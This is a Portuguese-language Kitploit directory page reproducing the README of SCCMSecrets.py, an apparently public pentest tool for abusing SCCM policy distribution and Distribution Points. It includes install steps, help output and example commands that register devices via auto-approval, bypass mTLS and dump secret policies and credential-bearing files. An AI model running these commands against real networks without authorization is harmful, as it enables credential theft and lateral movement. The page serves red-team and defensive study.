Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
SCCMSecrets — SCCMSecrets.py visa explorar a distribuição de políticas do SCCM para coleta de credenciais, acesso inicial e movimento lateral. | Kitploit
Ferramentas/GitHubGitHub/synacktiv/sccmsecrets
Autenticação e AutorizaçãoReconhecimentoAtaques de SenhaExploraçãoMovimento LateralColeta de InformaçõesPós-ExploraçãoConfiguração Incorreta
GitHubsynacktiv/sccmsecrets

SCCMSecrets

SCCMSecrets.py visa explorar a distribuição de políticas do SCCM para coleta de credenciais, acesso inicial e movimento lateral.

Ver Repositório
273336há 10 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

SCCMSecrets

O SCCMSecrets.py é uma ferramenta de exploração de políticas do SCCM. Ele vai além da extração de credenciais NAA e tem como objetivo fornecer uma abordagem abrangente para a exploração de políticas do SCCM. A ferramenta pode ser executada a partir de vários níveis de privilégio e tentará identificar possíveis más configurações relacionadas à distribuição de políticas. Mais detalhes sobre a ferramenta e seu uso estão disponíveis no artigo associado: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

Dois subcomandos estão disponíveis: policies e files.

Políticas

Este subcomando interage com um Management Point do SCCM para extrair o conteúdo de todas as políticas secretas (incluindo configuração NAA, sequências de tarefas contendo credenciais ou variáveis de coleção). Para isso, é necessário um dispositivo SCCM aprovado, que pode ser obtido de três maneiras.

  • Se você não fornecer uma conta de máquina, o SCCMSecrets tentará registrar um dispositivo e abusar da aprovação automática de dispositivos. Esta é uma configuração do SCCM (não padrão) que concede automaticamente o estado "Aprovado" a novos dispositivos registrados anonimamente.
  • Se você fornecer uma conta de máquina, o SCCMSecrets registrará um novo dispositivo usando o endpoint de registro autenticado. Por padrão, o SCCM concederá o estado "Aprovado" a dispositivos registrados por meio desse endpoint.
  • Se você fornecer a flag --altauth, o SCCMSecrets explorará um endpoint de autenticação alternativo, permitindo contornar os requisitos de mTLS e obter um dispositivo aprovado sem credenciais e sem depender da má configuração de aprovação automática de dispositivos (mais informações aqui). Isso só funciona quando o MP está configurado para usar HTTPS E o site do SCCM está configurado para impor HTTPS em todo o site (se o MP estiver usando HTTPS, mas o site permitir HTTP ou HTTPS, os dispositivos não são aprovados automaticamente).
  • Você também pode fornecer um dispositivo existente (--use-existing-device). Este argumento espera um diretório contendo o arquivo guid.txt (GUID do dispositivo) e o arquivo key.pem (chave privada do dispositivo). Pode ser um dispositivo criado por uma execução anterior do SCCMSecrets ou o correspondente a um cliente SCCM legítimo comprometido.

Observe que as políticas do SCCM estão associadas a coleções. Registrar um novo dispositivo colocará esse dispositivo nas coleções padrão - portanto, apenas políticas secretas das coleções padrão serão recuperadas. É por isso que se passar por um cliente SCCM legítimo comprometido usando --use-existing-device pode ser interessante. De fato, esse cliente legítimo pode fazer parte de coleções personalizadas associadas a políticas secretas adicionais.

A saída será colocada em um subdiretório do diretório loot (formato: [timestamp]_policies).

root@kitploit:~
$ python3 SCCMSecrets.py policies -h
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py policies [OPTIONS]                                                                                                                                                                              
                                                                                                                                                                                                                       
 Dump secret policies from an SCCM Management Point                                                                                                                                                                    
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --management-point     -mp      TEXT     The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                             │
│ *  --client-name          -cn      TEXT     [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required]                                                │
│    --machine-name         -u       TEXT     [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval                                                           │
│    --machine-pass         -p       TEXT     [Optional] The password for the machine account                                                                                                                         │
│    --machine-hash         -H       TEXT     [Optional] The NT hash for the machine account                                                                                                                          │
│    --registration-sleep   -rs      INTEGER  [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to   │
│                                             device collections (3 minutes by default, may need to be increased)                                                                                                     │
│                                             [default: 180]                                                                                                                                                          │
│    --use-existing-device  -d       TEXT     [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it        │
│                                             expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│                                             be provided to SCCMSecrets (but does not have to match the one of the existing device)                                                                                  │
│    --pki-cert             -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication       │
│    --pki-key              -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                 │
│    --altauth              -a                [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│                                             only works when the MP uses HTTPS AND HTTPS is enforced site-wide                                                                                                       │
│    --verbose              -v                [Optional] Enable verbose output                                                                                                                                        │
│    --help                 -h                Show this message and exit.                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Arquivos

Este subcomando indexará os arquivos armazenados em um Distribution Point e baixará os interessantes. O SCCMSecrets primeiro tentará identificar se o acesso anônimo está habilitado (não padrão). Se for o caso, os arquivos podem ser indexados e baixados sem autenticação. Caso contrário, serão necessárias credenciais de domínio.

É possível baixar arquivos por extensão. O SCCMSecrets indexará os arquivos de todos os pacotes hospedados no Distribution Point (resultando em um arquivo index.txt no formato tree do Unix) e baixará os arquivos com as extensões especificadas. Ao fornecer uma lista vazia de extensões, apenas a indexação de arquivos será realizada. Em ambos os casos, a partir do arquivo de índice gerado, é possível usar a flag --urls para baixar arquivos específicos de interesse (sem reindexar).

Observe que os requisitos de mTLS, se implementados, podem ser contornados fornecendo a flag --nocert.

A saída será colocada em um subdiretório do diretório loot (formato: [timestamp]_files).

root@kitploit:~
$ python3 SCCMSecrets.py files --help
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py files [OPTIONS]                                                                                                                                                                                 
                                                                                                                                                                                                                       
 Dump interesting files from an SCCM Distribution Point                                                                                                                                                                
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --distribution-point  -dp      TEXT     An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                                      │
│    --username            -u       TEXT     [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access                                               │
│    --password            -p       TEXT     [Optional] The password for the domain account                                                                                                                           │
│    --hash                -H       TEXT     [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)                                                                                    │
│    --extensions          -e       TEXT     [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not         │
│                                            download anything, and only index files                                                                                                                                  │
│                                            [default: .ps1, .bat, .xml, .txt, .pfx]                                                                                                                                  │
│    --urls                -f       TEXT     [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│                                            want to download by extension, but rather specific known files                                                                                                           │
│    --max-recursion       -r       INTEGER  [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10]                                                                     │
│    --pki-cert            -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication      │
│    --pki-key             -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                  │
│    --nocert              -n                [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements                                                                                  │
│    --verbose             -v                [Optional] Enable verbose output                                                                                                                                         │
│    --help                -h                Show this message and exit.                                                                                                                                              │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Sobre a imposição de HTTPS

Por padrão, os clientes podem interagir com seu Management Point ou Distribution Point usando HTTP simples. No entanto, a instalação do SCCM pode ser configurada de forma mais segura impondo o uso de HTTPS. Quando este é o caso (para o Management Point, o Distribution Point ou ambos), o SCCM exigirá autenticação por certificado de cliente usando um certificado PKI interno com a finalidade de "autenticação de cliente".

Ainda é possível realizar os ataques apresentados acima - no entanto, um certificado PKI válido deve ser fornecido por meio das flags --pki-cert e --pki-key (formato PEM). As URLs do Management Point / Distribution Point também devem ser prefixadas com https://. Observe que as flags --altauth (para políticas) e --nocert (para arquivos) fornecem maneiras de contornar a autenticação mTLS (mais informações aqui).

Instalação

Você pode instalar o SCCMSecrets.py clonando o repositório e instalando as dependências.

root@kitploit:~
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Exemplos

Abaixo estão alguns exemplos de comandos.

Políticas

Recupere políticas secretas sem fornecer uma conta de máquina. Isso tentará explorar a má configuração de aprovação automática de dispositivos (configuração não padrão)

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'

Recupere políticas secretas fornecendo uma conta de máquina. Isso funcionará em configurações padrão do SCCM

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'

Recupere políticas secretas de um dispositivo já existente. A pasta compromised_device contém um arquivo guid.txt e key.pem.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/

Recupere políticas secretas quando o Management Point impõe HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem

Recupere políticas secretas usando o endpoint de autenticação alternativo, permitindo contornar a autenticação mTLS e obter um dispositivo aprovado sem fornecer credenciais (mais informações aqui). Só funciona quando o MP usa HTTPS e o HTTPS é imposto em todo o site

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth

Arquivos

Recupere arquivos do Distribution Point sem fornecer credenciais. Isso tentará explorar o acesso anônimo ao DP (configuração não padrão)

root@kitploit:~
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab

Recupere arquivos do Distribution Point com credenciais. Isso funcionará em configurações padrão do SCCM

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'

Recupere arquivos com uma lista específica de extensões. Autentique com o hash da conta de máquina

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

Recupere arquivos específicos do Distribution Point fornecendo uma lista de URLs (1 por linha)

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst

Recupere arquivos do DP quando o Distribution Point impõe HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem

Contorne a autenticação mTLS quando o Distribution Point impõe HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
Baixar ferramenta